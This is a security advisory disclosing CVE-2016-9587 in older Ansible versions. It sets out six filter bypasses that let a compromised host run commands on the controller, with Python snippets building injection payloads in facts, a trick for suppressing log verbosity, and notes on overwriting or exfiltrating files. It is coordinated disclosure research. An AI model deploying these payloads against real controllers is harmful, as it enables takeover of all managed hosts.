Ansible 2.1.4 / 2.2.1 Command Execution

`########### Computest security advisory CT-2017-0109 #############  
  
Summary: Command execution on Ansible controller from host  
Affected software: Ansible  
CVE: CVE-2016-9587  
Reference URL: https://www.computest.nl/advisories/  
CT-2017-0109_Ansible.txt  
Affected versions: < 2.1.4, < 2.2.1  
  
Credit: Undisclosed at Computest ([email protected])  
Date of publication: January 9, 2017  
  
During a summary code review of Ansible, Computest found and exploited several  
issues that allow a compromised host to execute commands on the Ansible  
controller and thus gain access to the other hosts controlled by that  
controller.   
  
This was not a full audit and further issues may or may not be present.  
  
About Ansible  
-------------  
"Ansible is an open-source automation engine that automates cloud provisioning,  
configuration management, and application deployment. Once installed on a  
control node, Ansible, which is an agentless architecture, connects to a managed  
node through the default OpenSSH connection type."  
- wikipedia.org  
  
Technical Background  
--------------------  
A big threat to a configuration management system like Ansible, Puppet, Salt  
Stack and others, is compromise of the central node. In Ansible terms this is  
called the Controller. If the Controller is compromised, an attacker has  
unfettered access to all hosts that are controlled by the Controller. As such,  
in any deployment, the central node receives extra attention in terms of  
security measures and isolation, and threats to this node are taken even more  
seriously.  
  
Fortunately for team blue, in the case of Ansible the attack surface of the  
Controller is pretty small. Since Ansible is agent-less and based on push, the  
Controller does not expose any services to hosts.   
  
A very interesting bit of attack surface though is in the Facts. When Ansible  
runs on a host, a JSON object with Facts is returned to the Controller. The  
Controller uses these facts for various housekeeping purposes. Some facts have  
special meaning, like the fact "ansible_python_interpreter" and  
"ansible_connection". The former defines the command to be run when Ansible is  
looking for the python interpreter, and the second determines the host Ansible  
is running against. If an attacker is able to control the first fact he can  
execute an arbitrary command, and if he is able to control the second fact he is  
able to execute on an arbitrary (Ansible-controlled) host. This can be set to  
"local" to execute on the Controller itself.  
  
Because of this scenario, Ansible filters out certain facts when reading the  
facts that a host returns. However, we have found 6 ways to bypass this filter.  
  
In the scenarios below, we will use the following variables:  
  
PAYLOAD = "touch /tmp/foobarbaz"  
  
# Define some ways to execute our payload.  
LOOKUP = "lookup('pipe', '%s')" % PAYLOAD  
INTERPRETER_FACTS = {  
# Note that it echoes an empty dictionary {} (it's not a format string).  
'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,  
'ansible_connection': 'local',  
# Become is usually enabled on the remote host, but on the Ansible  
# controller it's likely password protected. Disable it to prevent  
# password prompts.  
'ansible_become': False,  
}  
  
Bypass #1: Adding a host  
------------------------  
Ansible allows modules to add hosts or update the inventory. This can be very  
useful, for instance when the inventory needs to be retrieved from a IaaS  
platform like as the AWS module does.   
  
If we're lucky, we can guess the inventory_hostname, in which case the host_vars  
are overwritten [2] and they will be in effect at the next task. If host_name  
doesn't match inventory_hostname, it might get executed in the play for the next  
hostgroup, also depending on the limits set on the commandline.  
  
# (Note that when data["add_host"] is set,  
# data["ansible_facts"] is ignored.)  
data['add_host'] = {  
# assume that host_name is the same as inventory_hostname  
'host_name': socket.gethostname(),  
'host_vars': INTERPRETER_FACTS,  
}  
  
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L447  
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L580  
  
Bypass #2: Conditionals  
-----------------------  
Ansible actions allow for conditionals. If we know the exact contents of a  
"when" clause, and we register it as a fact, a special case checks whether the  
"when" clause matches a variable [1]. In that case it replaces it with its  
contents and evaluates [2] them.  
  
# Known conditionals, separated by newlines  
known_conditionals_str = """  
ansible_os_family == 'Debian'  
ansible_os_family == "Debian"  
ansible_os_family == 'RedHat'  
ansible_os_family == "RedHat"  
ansible_distribution == "CentOS"  
result|failed  
item > 5  
foo is defined  
"""  
known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')]  
for known_conditional in known_conditionals:  
data['ansible_facts'][known_conditional] = LOOKUP  
  
[1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L118  
[2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L125  
  
Bypass #3: Template injection in stat module  
--------------------------------------------  
The template module/action merges its results with those of the stat module.  
This allows us to bypass [1][2][3] the stripping of magic variables from  
ansible_facts [4], because they're at an unexpected location in the result tree.  
  
data.update({  
'stat': {  
'exists': True,  
'isdir': False,  
'checksum': {  
'rc': 0,  
'ansible_facts': INTERPRETER_FACTS,  
},  
}  
})  
  
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L39  
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L49  
# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L146  
# [4] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/__init__.py#L678  
  
Bypass #4: Template injection by changing jinja syntax  
------------------------------------------------------  
Remote facts always get quoted. Set_fact unquotes them by evaluating them.  
UnsafeProxy was designed to defend against unquoting by transforming jinja  
syntax into jinja comments, effectively disabling injection.  
  
Bypass the filtering of "{{" and "{%" by changing the jinja syntax [1][2]. The  
{{}} is needed to make it look like a variable [3]. This works against:  
- set_fact: foo="{{ansible_os_family}}"  
- command: echo "{{foo}}  
  
data['ansible_facts'].update({  
'exploit_set_fact': True,  
'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe', '" + PAYLOAD + "')]]",  
})  
  
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L66  
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L469  
# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L308  
  
  
Bypass #5: Template injection in dict keys  
------------------------------------------  
Strings and lists are properly cleaned up, but dictionary keys are not [1]. This  
works against:  
- set_fact: foo="some prefix {{ansible_os_family}} and/or suffix"  
- command: echo "{{foo}}  
  
The prefix and/or suffix are needed in order to turn the  
dict into a string, otherwise the value would remain a dict.  
  
data['ansible_facts'].update({  
'exploit_set_fact': True,  
'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},  
})  
  
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/vars/unsafe_proxy.py#L104  
  
  
Bypass #6: Template injection using safe_eval  
---------------------------------------------  
There's a special case for evaluating strings that look like a list or dict [1].  
Strings that begin with "{" or "[" are evaluated by safe_eval [2]. This allows  
us to bypass the removal of jinja syntax [3]: we use the whitelisted Python to  
re-create a bit of Jinja template that is interpreted.  
  
This works against:  
- set_fact: foo="{{ansible_os_family}}"  
- command: echo "{{foo}}  
  
data['ansible_facts'].update({  
'exploit_set_fact': True,  
'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,  
})  
  
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L334  
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/safe_eval.py  
# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L229  
  
Issue: Disabling verbosity  
--------------------------  
Verbosity can be set on the controller to get more debugging information. This  
verbosity is controlled through a custom fact. A host however can overwrite this  
fact and set the verbosity level to 0, hiding exploitation attempts.  
  
data['_ansible_verbose_override'] = 0  
  
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L99  
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L208  
  
  
Issue: Overwriting files  
------------------------  
Roles usually contain custom facts that are defined in defaults/main.yml,  
intending to be overwritten by the inventory (with group and host vars). These  
facts can be overwritten by the remote host, due to the variable precedence [1].  
Some of these facts may be used to specify the location of a file that will be  
copied to the remote host. The attacker may change it to /etc/passwd. The  
opposite is also true, he may be able to overwrite files on the Controller. One  
example is the usage of a password lookup with where the filename contains a  
variable [2].  
  
[1] http://docs.ansible.com/ansible/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable  
[2] http://docs.ansible.com/ansible/playbooks_lookups.html#the-password-lookup  
  
Mitigation  
----------  
Computest is not aware of mitigations short of installing fixed versions of the  
software.  
  
Resolution  
----------  
Ansible has released new versions that fix the vulnerabilities described in  
this advisory: version 2.1.4 for the 2.1 branch and 2.2.1 for the 2.2 branch.  
  
Conclusion  
----------  
The handling of Facts in Ansible suffers from too many special cases that allow  
for the bypassing of filtering. We found these issues in just hours of code  
review, which can be interpreted as a sign of very poor security. However, we  
don't believe this is the case.  
  
The attack surface of the Controller is very small, as it consists mainly of the  
Facts. We believe that it is very well possible to solve the filtering and  
quoting of Facts in a sound way, and that when this has been done, the  
opportunity for attack in this threat model is very small.   
  
Furthermore, the Ansible security team has been understanding and professional  
in their communication around this issue, which is a good sign for the handling  
of future issues.  
  
Timeline  
--------  
2016-12-08 First contact with Ansible security team  
2016-12-09 First contact with Redhat security team ([email protected])  
2016-12-09 Submitted PoC and description to [email protected]  
2016-12-13 Ansible confirms issue and severity  
2016-12-15 Ansible informs us of intent to disclose after holidays  
2017-01-05 Ansible informs us of disclosure date and fix versions  
2017-01-09 Ansible issues fixed version  
  
  
  
`